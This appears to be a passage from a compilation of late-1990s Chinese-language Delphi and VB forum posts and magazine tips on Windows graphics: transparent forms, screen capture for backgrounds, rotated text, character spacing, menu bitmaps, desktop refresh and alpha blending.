lfOrientation := 0;

if fsBold in Font.Style then lfWeight := FW_BOLD

else lfWeight := FW_NORMAL;

lfItalic := Ord(fsItalic in Font.Style);

lfUnderline := Ord(fsUnderline in Font.Style);

lfStrikeOut := Byte(fsStrikeOut in Font.Style);

{$IFDEF RX_D3}

lfCharSet := Byte(Font.Charset);

if AnsiCompareText(Font.Name, 'Default') = 0 then

StrPCopy(lfFaceName, DefFontData.Name)

else

StrPCopy(lfFaceName, Font.Name);

{$ELSE}

{$IFDEF VER93}

lfCharSet := Byte(Font.Charset);

{$ELSE}

lfCharSet := DEFAULT_CHARSET;

{$ENDIF}

StrPCopy(lfFaceName, Font.Name);

{$ENDIF}

lfQuality := DEFAULT_QUALITY;

lfOutPrecision := OUT_DEFAULT_PRECIS;

lfClipPrecision := CLIP_DEFAULT_PRECIS;

case Font.Pitch of

fpVariable: lfPitchAndFamily := VARIABLE_PITCH;

fpFixed: lfPitchAndFamily := FIXED_PITCH;

else lfPitchAndFamily := DEFAULT_PITCH;

end;

end;

Result := CreateFontIndirect(LogFont);

end;


窗体透明的讨论
话题091104的标题是： 如何制作一个透明FORM！ (50分)

分类：图形图象 yzhang (1998-11-3 10:50:48)

我想制作一个透明的FORM，不知各位大侠有何高见！

dwwang (1998-11-3 10:54:33)

一些据称能制作透明FORM的代码试了试都不行,

下面这个网站提供构件,不仅仅是透明Form,还有很多功能:

http://www.lawrenz.com/coolform/index.htm

Kiven (1998-11-3 15:59:22)

这是我从别人主页上摘的（忘了是谁的主页了）。你看看吧

这个例子演示如何显示透明的窗口.同时也介绍了如何捕获屏幕.必须把Form1的BorderStyle属性置为bsNone

unit homepage_coolform;interfaceuses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls, Buttons;

type TForm1 = class(TForm)

procedure FormPaint(Sender: TObject);

procedure FormShow(Sender: TObject);

procedure FormDestroy(Sender: TObject);

private { Private declarations }

public { Public declarations }

hbmp:integer;

end;

var Form1: TForm1;

implementation

{$R *.DFM}

function CopyScreenToBitmap(Rect:TREct):integer;

var

hScrDC, hMemDC, hBitmap, hOldBitmap:integer;

nX, nY, nX2, nY2: integer;

nWidth, nHeight:integer;

xScrn, yScrn:integer;

begin

if (IsRectEmpty(Rect)) then

begin

result:= 0;

exit;

end; // 获得屏幕缓冲区的句柄.

// a memory DC compatible to screen DC

hScrDC:= CreateDC('DISPLAY', pchar(0), pchar(0), PDeviceModeA(0));

hMemDC:= CreateCompatibleDC(hScrDC);

// get points of rectangle to grab

nX := rect.left;

nY := rect.top;

nX2 := rect.right;

nY2 := rect.bottom;

// get screen resolution

xScrn:= GetDeviceCaps(hScrDC, HORZRES);

yScrn := GetDeviceCaps(hScrDC, VERTRES);

//make sure bitmap rectangle is visible

if (nX <0) then

nX :="0;"

if (nY < 0) then

nY :="0;"

if (nX2> xScrn) then

nX2 := xScrn;

if (nY2 > yScrn) then

nY2 := yScrn;

nWidth := nX2 - nX;

nHeight := nY2 - nY;

// create a bitmap compatible with the screen DC

hBitmap := CreateCompatibleBitmap(hScrDC, nWidth, nHeight);

// select new bitmap into memory DC

hOldBitmap := SelectObject(hMemDC, hBitmap);

// bitblt screen DC to memory DC

BitBlt(hMemDC, 0, 0, nWidth, nHeight, hScrDC, nX, nY, SRCCOPY);

// select old bitmap back into memory DC and get handle to

// bitmap of the screen

hBitmap := SelectObject(hMemDC, hOldBitmap);

// clean up

DeleteDC(hScrDC);

DeleteDC(hMemDC);

result:= hBitmap;

end;

procedure TForm1.FormShow(Sender: TObject);

Var

rect:TRect;

p:TPoint;

begin

rect:=ClientRect;

p:=ClientOrigin;

rect.left:=p.x;

rect.top:=p.y;

rect.bottom:=rect.bottom+p.y;

rect.right:=rect.right+p.x;

hbmp:=copyScreenToBitmap(rect);

inherited;

end;

procedure TForm1.FormPaint(Sender: TObject);

var

bitmap:TBitmap;

rect:TRect;

begin

bitmap:=TBitmap.create;

bitmap.handle:=hbmp;

rect:=ClientRect;

canvas.draw(rect.left,rect.top,bitmap);

bitmap.handle:=0;

bitmap.free;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

DeleteObject(hbmp);

end;

end.

如果当程序运行时,你什么也没有看见(当然你可以加入一个按钮),那就成功了.

透明窗口有什么用呢?我正在打算编制一些奇形怪状的菜单,能够加入任何控制

的菜单.思考了好久,觉得只有这么一条出路.:-(

这个例子参考了一个C++程序(我已经忘了是哪个C++程序)

hqy (1998-11-6 11:29:39)

将form的property

borderStyle:=bsNone;

borderIcons:=[];

在form消息TWMEraseBKgnd的处理进行覆盖

procedure Tfrom1.CMEraseBkgnd(var message:TWMEraseBKgnd);message WM_ERASEBKGND

begin

Brush.style:=bsClear;

inherited;

emd;

即可。

yzhang (1998-11-9 15:41:54)

我要求：form的property

borderStyle不能为bsNone！

不知各位是否有高招！

Henry Chan (1998-11-9 15:58:39)

procedure TForm1.FormCreate(Sender: TObject);

var

FullRgn, ClientRgn, ButtonRgn: THandle;

Margin, X, Y: Integer;

begin

Margin := (Width - ClientWidth) div 2;

FullRgn := CreateRectRgn(0, 0, Width, Height);

X := Margin;

Y := Height - ClientHeight - Margin;

ClientRgn := CreateRectRgn(X, Y, X + ClientWidth, Y + ClientHeight);

CombineRgn(FullRgn, FullRgn, ClientRgn, RGN_DIFF);

X := X + Button1.Left;

Y := Y + Button1.Top;

ButtonRgn := CreateRectRgn(X, Y, X + Button1.Width, Y + Button1.Height);

CombineRgn(FullRgn, FullRgn, ButtonRgn, RGN_OR);

SetWindowRgn(Handle, FullRgn, True);

end;

Try this.

dwwang (1998-11-9 16:50:38)

我指出的那个构件试过了吗?

斑竹不是说很"酷"吗?

nudtzy (1998-11-11 21:57:09)

在Form的OnCreate事件中加入如下代码:

Brush.Style := bsClear;

borderstyle := bsnone;

应当能实现FORM透明。

dwwang (1998-11-11 23:32:55)

乖乖！我下载了那个CoolForm，简直是骗人的（但愿是我不会用）

还是Henry Chan的代码起到透明作用，只是太透明了，

把事件都“漏下去”了（yysun语），恐怕得AlwaysOnTop

才好用。

我把它改造了一把，可以通用了，仅供大家参考：

procedure TForm1.FormCreate(Sender: TObject);

var

FullRgn, ClientRgn, ButtonRgn: THandle;

LeftMargin,TopMargin:Integer;

Margin, X, Y: Integer;

i:integer;

begin

Margin := (Width - ClientWidth) div 2;

FullRgn := CreateRectRgn(0, 0, Width, Height);

LeftMargin := Margin;

TopMargin := Height - ClientHeight - Margin;

ClientRgn := CreateRectRgn(LeftMargin, TopMargin, LeftMargin + ClientWidth, TopMargin + ClientHeight);

CombineRgn(FullRgn, FullRgn, ClientRgn, RGN_DIFF);

for i:= 0 to ComponentCount-1 do

begin

if not (Components[i] is TWinControl) then continue;

if (Components[i] as TWinControl).Parent<>self then continue;

X := LeftMargin + (Components[i] as TWinControl).Left;

Y := TopMargin + (Components[i] as TWinControl).Top;

ButtonRgn := CreateRectRgn(X, Y, X + (Components[i] as TWinControl).Width, Y + (Components[i] as TWinControl).Height);

CombineRgn(FullRgn, FullRgn, ButtonRgn, RGN_OR);

end;

SetWindowRgn(Handle, FullRgn, True);

end;

pegasus (1998-11-13 0:01:37)

刚刚要给dwwang大侠加分, 失望地发现自己并不是这儿的摊主,

我愿意再出任此版版主, 各位意下如何?

dwwang (1998-11-13 1:40:34)

我同意！现在摊主太少了，身兼多职也是没办法，

再加上pega也很在行。当然，最主要的是... *_^

pegasus (1998-11-13 14:31:44)

接受答案了.

pegasus (1998-11-13 16:06:42)

yzhang: 不好意思, 我看到dwwang大侠的答案不错, 就急忙给加

了分, 以后我会注意尽量由提问者自行决定, 除非提问者保持沉

默超过两个星期.

下不为例!

dwwang (1998-11-13 18:02:06)

补充说明,CoolForm时可以用的,我刚刚发现了用法,

需要一个BMP之类的图形,然后设置Mask.

被Mask的部分就变得透明了,因此适合于做Norton CrashGuard

那种特殊形状的Form.

yysun (1998-11-13 23:49:27)

CoolForm和dwwang的算法各有千秋,

CoolForm显示BMP很不错,试试它的例子,看到那个女同志照片吗?

请在她右臂与身体之间的透明洞处按鼠标,这个事件会漏下去把下面的窗口激活(调

到前面),而在其他不透明之处,事件是漏不下去的,因此您可以任意拖动她的位置.

所以这是个很Cool的不规则边界的透明Form.

问题是放上去的控件都不见了,这点dwwang的算法就解决了,最好两者结合一下.

dwwang的回答最终被接受。


如何实现ImageList中的所有Images输出到同一个bmp文件中
procedure SaveImageListToBmp(AImageList: TImageList; ABitmap: TBitmap);

const

Spacing = 5;

var

i: integer;

FBitmap: TBitmap;

begin

FBitmap := TBitmap.Create;

try

ABitmap.Width := AImageList.Count * (AImageList.Width + Spacing);

ABitmap.Height := AImageList.Height;

for i := 0 to AImageList.Count - 1 do

begin

AImageList.GetBitmap(i, FBitmap);

ABitmap.Canvas.Draw(i * (AImageList.Width + Spacing), 0, FBitmap);

end;

finally

FBitmap.Free;

end;

end;


判断TImage图片的类型
如果只是判断BMP、JPG、GIF图片，倒是有一个简单的方法，用数据流判断，因为BMP、GIF、JPG格式的文件流有标识符的，分别如下：

名称 宽度 标识符

BMP 2位 BM

JPG 10位 chr($FF)+chr($D8)+chr($FF)+chr($E0)+chr($00)+chr($10)+'JFIF'

GIF 3位 GIF

通过这种方式可以判断。

当然通过DELPHI的系统的类也可以判断，用ClassName函数，但是不能判断GIF类型。

例如：

if Image1.Picture.Graphic<>nil then

Edit1.Text:=Image1.Picture.Graphic.ClassName;


图片的移动
unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

jpeg, ExtCtrls, StdCtrls;

type

TForm1 = class(TForm)

Image1: TImage;

procedure FormCreate(Sender: TObject);

procedure Image1MouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure Image1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

R,newR:Trect;

x0,y0:integer;

bDrag:Boolean;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

with R do begin

Left :=0 ; Top :=0 ;

Right := Image1.Width ;

bottom := Image1.Height;

end;

newR:= R;

end;

procedure TForm1.Image1MouseUp(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

bDrag:=false;

end;

procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

begin

bDrag:= True;

x0:= x;

y0:=y;

end;

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,

Y: Integer);

var

dx,dy:Integer;

Canvas1:TCanvas;

begin

if not bDrag then exit;

dx := x-x0;

dy := y-y0;

with NewR do begin

left := R.left - dx;

top := R.Top- dy;

Right := R.Right -dx;

Bottom := R.Bottom-dy;

end;

canvas1:= Image1.Picture.Bitmap.canvas;

Image1.Picture.Bitmap.Canvas.CopyRect(R,canvas1,newR);

end;

end.


Image Load时的进度显示
PercentDone指示了完成的百分数。Stage指明了当前状态，应该在Stage为psStarting时创建进度条，psRunning时根据PercentDone更新进度条，在psEnding时可以释放进度条。

--回复得分 0 --

不过该事件之发生在类似于JPEG的压缩图像装载或重画时，BMP图像不引发该事件。

if Stage=sStarting then

ProgresssBar1.Position=PercentDone;

--回复得分 0 --

TImage有一个事件OnProgress在该事件中有相关的信息，可以获取调入的图片信息，然后在事件中设置相关的进度条信息即可表示调入的过程了。


输出字符串,如何旋转,如何使输出字符串背景透明
procedure AngleTextOut(CV: TCanvas; const sText: String; x, y, angle:integer);

var

LogFont: TLogFont;

SaveFont: TFont;

begin

SaveFont := TFont.Create;

SaveFont.Assign(CV.Font);

GetObject(SaveFont.Handle, sizeof(TLogFont), @LogFont);

with LogFont do

begin

lfEscapement := angle *10;

lfPitchAndFamily := FIXED_PITCH or FF_DONTCARE;

end; {with}

CV.Font.Handle := CreateFontIndirect(LogFont);

SetBkMode(CV.Handle, TRANSPARENT);

CV.TextOut(x, y, sText);

CV.Font.Assign(SaveFont);

SaveFont.Free;

end;

*********************************

procedure TForm1.Button1Click(Sender: TObject);

var

lf : TLogFont;

tf : TFont;

begin

with Form1.Canvas do begin

Font.Name := 'Arial';

Font.Size := 24;

tf := TFont.Create;

tf.Assign(Font);

GetObject(tf.Handle, sizeof(lf), @lf);

lf.lfEscapement := 450;

lf.lfOrientation := 450;

tf.Handle := CreateFontIndirect(lf);

Font.Assign(tf);

tf.Free;

TextOut(20, Height div 2, 'Rotated Text!');

end;

end;

==================================

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;

Shift: TShiftState; X, Y: Integer);

var

LogFont : TLogFont;

newFont : TFont;

begin

with Form1.Canvas do

begin

Font.Name := '黑体'; // 字体

Font.Size := 32; // 字号

Font.Color:= $00ffcc; // 颜色

// 创建新字体

newFont := TFont.Create;

newFont.Assign(Font); // 新字体继承窗体字体的属性

// 为新字体设置旋转属性

GetObject(newFont.Handle, sizeof(LogFont), @LogFont);

LogFont.lfEscapement :=600; //角度*10

LogFont.lfOrientation :=600; //应设为同样的值

LogFont.lfWidth:=20; //每个字符的大小

LogFont.lfHeight:=90;

newFont.Handle := CreateFontIndirect(LogFont);

Font.Assign(newFont);

newFont.Free;

// 在鼠标按下的位置显示文字

TextOut(X, Y, '旋转文字Demo');

end;

end;


copyrect用法
unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

PicShow, StdCtrls, ExtCtrls;

type

TForm1 = class(TForm)

Image1: TImage;

Image2: TImage;

Button1: TButton;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

// th:tthreat;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);

const

step=4;

var

r:trect;

i:integer;

begin

image2.Canvas.FillRect(rect(0,0,image2.Width,image2.Height));

image2.Canvas.CopyMode:=cmsrccopy;

i:=0;

repeat

r:=rect(i,0,i+step,image1.Height);

sleep(10);

image2.Canvas.CopyRect(r,image1.Canvas,r);

application.ProcessMessages;

inc(i,step);

until i>image1.Width;

image2.Picture.Bitmap.SaveToFile('c:\windows\desktop\temp.bmp');

end;

end.

*********

object Form1: TForm1

Left = 63

Top = 57

Width = 712

Height = 453

Caption = 'Form1'

Color = clBtnFace

Font.Charset = DEFAULT_CHARSET

Font.Color = clWindowText

Font.Height = -11

Font.Name = 'MS Sans Serif'

Font.Style = []

OldCreateOrder = False

PixelsPerInch = 96

TextHeight = 13

object Image1: TImage

Left = 0

Top = 0

Width = 355

Height = 426

Align = alLeft

Stretch = True

end

object Image2: TImage

Left = 355

Top = 0

Width = 349

Height = 426

Align = alClient

end

object Button1: TButton

Left = 328

Top = 192

Width = 75

Height = 25

Caption = 'Button1'

TabOrder = 0

OnClick = Button1Click

end

end


字符间距
SetTextCharacterExtra(Canvas.Handle, 15);

Canvas.TextOut(0, 0, '每个字符间隔15象素');

：DreamTiger：

提供一个可以控制行距和字距的控件，以前写的是控制行距的，使用了another_eyes的

方法，可以控制字距了。大家共享。如果发现什么Bug，一定要告诉我哦！另外，高度

还不能自动调整到完全显示Caption（如果Caption包含多行的话），如果那位有兴趣，

可以改写一下。

unit SqhLabel;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TSqhLabel = class(TCustomLabel)

private

FRowSpacing:integer;

FColSpacing:integer;

procedure SetRowSpacing(Value:Integer);

procedure SetColSpacing(Value:Integer);

protected

procedure DoDrawText(var Rect: TRect; Flags: Longint); override;

public

property RowSpacing:integer read FRowSpacing Write SetRowSpacing;

property ColSpacing:integer read FColSpacing Write SetColSpacing;

published

property Align;

property Alignment;

property Anchors;

property AutoSize;

property BiDiMode;

property Caption;

property Color;

property Constraints;

property DragCursor;

property DragKind;

property DragMode;

property Enabled;

property FocusControl;

property Font;

property ParentBiDiMode;

property ParentColor;

property ParentFont;

property ParentShowHint;

property PopupMenu;

property ShowHint;

property Transparent;

property Layout;

property Visible;

property OnClick;

property OnContextPopup;

property OnDblClick;

property OnDragDrop;

property OnDragOver;

property OnEndDock;

property OnEndDrag;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnStartDock;

property OnStartDrag;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('SQH', [TSqhLabel]);

end;

{ TSqhLabel }

procedure TSqhLabel.DoDrawText(var Rect: TRect; Flags: Integer);

var

Text: string;

FontHeight:integer;

tslLines:TStringList;

procedure MyDrawText(ARect:TRect);

var

iLoop:integer;

sLine:String;

NewRect:TRect;

iTrueWidth:integer;

begin

for iLoop := 0 to tslLines.Count - 1 do

begin

sLine := tslLines[iLoop];

NewRect.Left := ARect.Left;

NewRect.Top := ARect.Top + iLoop * (FontHeight + FRowSpacing);

NewRect.Right := ARect.Right;

NewRect.Bottom := NewRect.Top + FontHeight;

DrawText(Canvas.Handle,PChar(sLine),Length(sLine),NewRect,Flags or DT_CALCRECT);

if NewRect.Right > Width then

Width := NewRect.Right;

DrawText(Canvas.Handle,PChar(sLine),Length(sLine),NewRect,Flags)

end;

end;

begin

Text := GetLabelText;

FontHeight := Canvas.TextHeight('M');

Flags := Flags or DT_NOPREFIX;

Flags := DrawTextBiDiModeFlags(Flags);

tslLines := TStringList.Create;

try

tslLines.Text := Text;

Canvas.Font := Font;

SetTextCharacterExtra(Canvas.Handle,FColSpacing);

if not Enabled then

begin

OffsetRect(Rect, 1, 1);

Canvas.Font.Color := clBtnHighlight;

MyDrawText(Rect);

OffsetRect(Rect, -1, -1);

Canvas.Font.Color := clBtnShadow;

MyDrawText(Rect);

end

else

MyDrawText(Rect);

finally

tslLines.Free;

end;

end;

procedure TSqhLabel.SetColSpacing(Value: Integer);

begin

if FColSpacing <> Value then

begin

FColSpacing := Value;

Repaint;

end;

end;

procedure TSqhLabel.SetRowSpacing(Value: Integer);

begin

if FRowSpacing <> Value then

begin

FRowSpacing := Value;

Repaint;

end;

end;

end.


如何在菜单中显示图片

用过Office97吗？是不是觉得在菜单中显示图标很新鲜？如果想让你的程序也能如此锦上添花，那就请你赶快准备bmp吧！

    假设你打算为“文件”菜单栏（name为n1）下的第9项（序号改为8）“打印”添加一个打印机图标（文件名为c:.bmp），那只要在form的OnCreate事件中这样编写：

    var

     Bmp : TPicture;

    begin

    Bmp := TPicture.Create;

    Bmp.LoadFromFile(′c:.bmp′);

    SetMenuItemBitmaps(n1.Handle,8， MF_BYPOSITION,Bmp. Bitmap. Handle, Bmp.Bitmap.Handle);

    end;

    其中，第一个bitmap.handle用于未选定菜单项（unchecked），第二个则指定了选定（checked）时所显示的bitmap，同异皆可。另外，由于菜单项的高度有限，所以，若bitmap过大，只有左上角被显示。 (上海　汪　箴)

本文出自：《电脑报》1998年6月8日第22期13版


使窗体保存Canvas的输出
在form上画的graph被覆盖后就消失了,

于是在onpaint里加了几条,但我的画图过于复杂,重画时就被明显的看出来了.

我该怎么办?

这一点delphi不如Vb,Vb中有reddraw属性,设置后,画图就不消失了.

我该怎么办?

使用

SetClassLong( Handle, GCL_STYLE,

GetClassLong( Handle, GCL_STYLE ) or CS_SAVEBITS

);

修改Form的窗口类属性，使该窗口重绘时从保存的位图中更新，而不发送WM_PAINT信息，不过是以牺牲内存资源为代价。


delphi中如何将TCANVAS上的内容转化为一幅图象
DELPHI上的很多控件都有一个画布，不知怎样才能将其转化为位图呢？最好是双色的和彩色的两种.比方说，我想把标签上的内容存成位图，应该怎么做？

用一个TIMAGE控件，用BITBLT() API函数把那个CANVAS的图象COPY到这个TIMAGE控件上，然后再用TIMAGE.PICTURE的savetofile方法应该可以吧!

先声明一个TBitmap,然后使用控件Canvas.copy到声明的TBitmap上，再使用TBitmap的PICTURE属性的SaveToFile方法保存到磁盘上。


刷新桌面
屏幕的Refresh(只需一行!)

--------------------------------------------------

RedrawWindow(0,nil,0,RDW_ERASE or RDW_INVALIDATE or RDW_ALLCHILDREN);

                |　　 |　　　　　　　 ---　 ----

             handle　RGN(可刷新局部屏幕)

procedure RefreshDesktop;

var

hDesktop: HWND;

begin

hDesktop := FindWindowEx(FindWindowEx(FindWindow('Progman', 'Program Manager'), 0,

'SHELLDLL_DefView', ''), 0, 'SysListView32', '');

PostMessage(hDesktop, WM_KEYDOWN, VK_F5, 0);

PostMessage(hDesktop, WM_KEYUP, VK_F5, 1 shl 31);

end;

*************

SendMessage(FindWindow('Progman', 'Program Manager'), WM_COMMAND, $A065, 0);


win98中开始按钮的菜单谁会做
var

bmp_windows : Timage ; //是一个Timage,事先读入一个长条形的位图

//将以下事件代码付给Tmenuitem的DrawItem事件中；

procedure TFrm_mainclient.Mitem_aboutDrawItem(Sender: TObject; ACanvas

: TCanvas;

ARect: TRect; Selected: Boolean);

var

width1 ,height1 : integer ;

rc_tmp : Trect ;

Glyph : Tbitmap ;

OldBrushColor : Tcolor ;

begin

//

Acanvas.Draw(0,0,bmp_windows); //画一个长条的图

Width1 := 18 ;

Height1 := 18 ;

rc_tmp := Arect ;

Rc_tmp.left := img_windows.width+Arect.left;

ACanvas.TextRect(rc_tmp,rc_tmp.left+width1+5,rc_tmp.top+5,' '+Tmenui

tem(sender).Caption);

if Tmenuitem(sender).imageindex >= 0 then

imagelist1.Draw(Acanvas,Arect.Left+5+img_windows.width,Arect.top+2

,Tmenuitem(sender).imageindex,true)

else

if Tmenuitem(sender).Checked then

begin

Glyph := TBitmap.Create;

try // 以下为化小图标

Glyph.Transparent := True;

Glyph.Handle := LoadBitmap(0, PChar(OBM_CHECK));

OldBrushColor := ACanvas.Font.Color;

ACanvas.Font.Color := clBtnText;

ACanvas.Draw(Arect.Left+7+img_windows.width , Arect.top+2, Glyph

);

ACanvas.Font.Color := OldBrushColor;

rc_tmp := Arect ;

Rc_tmp.left := Arect.Left+img_windows.width +4;

Rc_tmp.Top := Arect.top + 2 ;

Rc_tmp.Right := Rc_tmp.left + Glyph.Width +4;

Rc_tmp.Bottom := Arect.Bottom - 2 ;

DrawEdge(ACanvas.Handle, Rc_tmp, BDR_SUNKENOUTER, BF_RECT);

finally

Glyph.Free;

end;

end;

end;


另外一个关于透明的贴子
My about box is transparent. You can change from here. It's not the best

way, but works fine.

ABOUTBOX FORM

-insert a TImage with AllClient called img.

MAIN FORM

procedure CallAboutBox;

var

screenshoot: TBitmap;

begin

screenshoot := TBitmap.Create;

fAbout := TfAbout.create(self);

DrawBack;

fAbout.show;

screenshoot.free;

end;

procedure DrawBack;

type

PRGBArray = ^TRGBArray;

TRGBArray = array[0..1000000] of TRGBTriple;

var

DC: hDC;

ScreenWidth, ScreenHeight: Integer;

SL: PRGBArray;

X, Y: Integer;

const

FTransparency = 30; // % of transparency

FTranspColor = clGray; // color to be merged

begin

ScreenWidth := GetSystemMetrics(sm_CXScreen);

ScreenHeight := GetSystemMetrics(sm_CYScreen);

ScreenShoot.Width := ScreenWidth;

ScreenShoot.Height := ScreenHeight;

ScreenShoot.PixelFormat := pf24bit;

// get screen image

DC := GetDC(0);

BitBlt(ScreenShoot.Canvas.Handle, 0, 0,

ScreenWidth, ScreenHeight, DC, 0, 0, SrcCopy);

ReleaseDC(0, DC);

for Y := 0 to ScreenHeight - 1 do begin

SL := ScreenShoot.ScanLine[Y];

for X := 0 to ScreenWidth - 1 do

try

SL[X].rgbtRed := (FTransparency * SL[X].rgbtRed + (100 -

FTransparency) * GetRValue(FTranspColor)) div 100;

SL[X].rgbtGreen := (FTransparency * SL[X].rgbtGreen + (100 -

FTransparency)* GetGValue(FTranspColor)) div 100;

SL[X].rgbtBlue := (FTransparency * SL[X].rgbtBlue + (100 -

FTransparency) * GetBValue(FTranspColor)) div 100;

except

end;

end;

with fAbout do begin

X := ((ScreenWidth - width) div 2) + img.Left;

Y := ((Screenheight - height) div 2) + img.Top;

if WindowState = wsNormal then

case BorderStyle of

bsSingle,

bsDialog: begin

inc(X, GetSystemMetrics(sm_CXDlgFrame));

inc(Y, GetSystemMetrics(sm_CYDlgFrame));

end;

bsSizeable: begin

inc(X, GetSystemMetrics(sm_CXFrame));

inc(Y, GetSystemMetrics(sm_CYFrame));

end;

bsToolWindow,

bsSizeToolWin: begin

inc(X, GetSystemMetrics(sm_CXBorder));

inc(Y, GetSystemMetrics(sm_CYBorder));

end;

end;

if BorderStyle <> bsNone then

inc(Y, GetSystemMetrics(sm_CYCaption));

BitBlt(img.Canvas.Handle, 0, 0, img.Width, img.Height,

ScreenShoot.Canvas.Handle, x, y, SrcCopy);

end;

end;


利用API函数实现图像淡入淡出效果
AlphaBlend函数可以进行淡入淡出效果：

利用API函数实现图像淡入淡出效果

一般传统的实现两个PictureBox之间图像的淡入淡出效果都需要使用大量的API函数并进行复杂的调色板以及

绘图设备(Device Context)的操作。但是在Win98、Win2000中，微软提供了支持透明图像拷贝的AlphaBlend函数。

这篇文章就介绍如何通过API函数AlphaBlend实现PictureBox之间图像的淡入淡出效果。AlphaBlend函数的定义在

msimg32.dll中，一般Win98、Win2000都带了这个库，在编程之前你可以先察看一下该文件是否存在。

打开VB建立一个新工程。选择菜单 Project | Add Module 添加一个模块到工程中，在其中输入以下代码：

Public Type rBlendProps

tBlendOp As Byte

tBlendOptions As Byte

tBlendAmount As Byte

tAlphaType As Byte

End Type

Public Declare Function AlphaBlend Lib "msimg32" (ByVal hDestDC As Long, _

ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, _

ByVal nHeight As Long, ByVal hSrcDC As Long, _

ByVal xSrc As Long, ByVal ySrc As Long, ByVal widthSrc As Long, _

ByVal heightSrc As Long, ByVal blendFunct As Long) As Boolean

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _

(Destination As Any, Source As Any, ByVal Length As Long)

大家可以看到，AlphaBlend函数的定义同普通的复制函数Bitblt很相似，只是最后的参数blendFunct定义为一个

rBlendProps结构。那么为什么在函数定义中blendFunct 定义为Long类型呢？因为rBlendProps结构长度是4个字节。

而Long类型变量的长度也是4个字节，那么我们就可以程序中通过API函数CopyMemory将一个rBlendProps结构拷贝到

blendFunct 中。

在Form1中添加两个PictureBox控件，其中Picture2为源，Picture1为拷贝目标，将两者的ScaleMode都设置为3-Pixel

将两者的AutoRedraw属性都设置为True，然后分别添加图像。在加入一个Timer控件以及一个CommandButton控件，然后

在Form1的代码窗口中添加如下代码：

Dim lTime As Byte

Sub ShowTransparency(cSrc As PictureBox, cDest As PictureBox, _

ByVal nLevel As Byte)

Dim LrProps As rBlendProps

Dim LnBlendPtr As Long

cDest.Cls

LrProps.tBlendAmount = nLevel

CopyMemory LnBlendPtr, LrProps, 4

With cSrc

AlphaBlend cDest.hDC, 0, 0, .ScaleWidth, .ScaleHeight, _

.hDC, 0, 0, .ScaleWidth, .ScaleHeight, LnBlendPtr

End With

cDest.Refresh

End Sub

Private Sub Command1_Click()

lTime = 0

Timer1.Interval = 100

Timer1.Enabled = True

End Sub

Private Sub Timer1_Timer()

lTime = lTime + 1

ShowTransparency Picture2, Picture1, lTime

If lTime >= 255 Then

Timer1.Enabled = False

End If

Me.Caption = Str(Int(lTime / 2.55)) + "%"

End Sub

运行程序，点击Command1，就可以看到Picture2图像拷贝到Picture1上的淡入淡出效果了。

在结构rBlendProps中，最重要的参数就是tBlendAmount，该值决定了源与目标之间的透明程序。如果为0的话，源完全

透明，如果为255的话，源完全覆盖目标。

另外AlphaBlend 函数不只用于两个PictureBox之间的拷贝，而且可以在两个Device Context之间的透明拷贝，也就是

说，象窗口等控件之间也可以实现透明效果。不过在编程过程中发现一个问题，不知是否是AlphaBlend的Bug，就是在我写完

程序后，并没有出现透明复制的效果。搞的我以为该函数不起作用，但是当我再打开VB运行上面的程序后，一切有正常了。

我在MSDN上也没有找到相关的Bug列表。


淡入淡出和半透明
Hi Marin,

> If I have two bitmaps and want to put the second above the first with some

> transparency, what can I do?

> I want to achieve an effect like in Photoshop, when you use layer's

> transparency lower than 100%.

try this MMX code for blending which is taken from the next version of my

soon-to-be-available Virtual Treeview:

type

// Describes the mode how to blend pixels.

TBlendMode = (

bmConstantAlpha, // apply given constant alpha

bmPerPixelAlpha, // use alpha value of the source pixel

bmMasterAlpha // use alpha value of source pixel and multiply it with

the constant alpha value

);

procedure AlphaBlendLineConstant(Source, Destination: Pointer; Count: Integer;

ConstantAlpha, Bias: Integer);

// Blends a line of Count pixels from Source to Destination using a constant

alpha value.

// The layout of a pixel must be BGRA where A is ignored (but is calculated as

the other components).

// ConstantAlpha must be in the range 0..255 where 0 means totally transparent

(destination pixel only)

// and 255 totally opaque (source pixel only).

// Bias is an additional value which gets added to every component and must be

in the range -128..127

//

// EAX contains Source

// EDX contains Destination

// ECX contains Count

// ConstantAlpha and Bias are on the stack

asm

PUSH ESI // save used registers

PUSH EDI

MOV ESI, EAX // ESI becomes the actual source pointer

MOV EDI, EDX // EDI becomes the actual target pointer

// Load MM6 with the constant alpha value (replicate it for every

component).

// Expand it to word size.

MOV EAX, [ConstantAlpha]

DB $0F, $6E, $F0 /// MOVD MM6, EAX

DB $0F, $61, $F6 /// PUNPCKLWD MM6, MM6

DB $0F, $62, $F6 /// PUNPCKLDQ MM6, MM6

// Load MM5 with the bias value.

MOV EAX, [Bias]

DB $0F, $6E, $E8 /// MOVD MM5, EAX

DB $0F, $61, $ED /// PUNPCKLWD MM5, MM5

DB $0F, $62, $ED /// PUNPCKLDQ MM5, MM5

// Load MM4 with 128 to allow for saturated biasing.

MOV EAX, 128

DB $0F, $6E, $E0 /// MOVD MM4, EAX

DB $0F, $61, $E4 /// PUNPCKLWD MM4, MM4

DB $0F, $62, $E4 /// PUNPCKLDQ MM4, MM4

